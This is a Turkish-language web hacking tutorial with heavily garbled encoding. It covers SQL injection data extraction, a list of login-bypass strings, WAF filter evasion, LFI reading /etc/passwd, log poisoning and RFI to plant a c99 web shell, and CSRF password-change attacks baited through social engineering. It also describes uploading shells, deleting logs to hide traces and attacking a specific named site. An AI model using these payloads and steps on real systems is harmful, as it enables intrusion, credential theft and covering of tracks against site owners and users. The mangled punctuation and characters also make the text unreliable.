wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 25: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

